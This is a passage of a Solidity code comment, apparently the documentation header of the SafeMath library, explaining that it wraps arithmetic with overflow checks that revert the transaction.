    * @dev Wrappers over Solidity's arithmetic operations with added overflow
    * checks.
    *
    * Arithmetic operations in Solidity wrap on overflow. This can easily result
    * in bugs, because programmers usually assume that an overflow raises an
    * error, which is the standard behavior in high level programming languages.
    * `SafeMath` restores this intuition by reverting the transaction when an
    * operation overflows.
    *
    * Using this library instead of the unchecked operations eliminates an entire
    * class of bugs, so it's recommended to use it always.
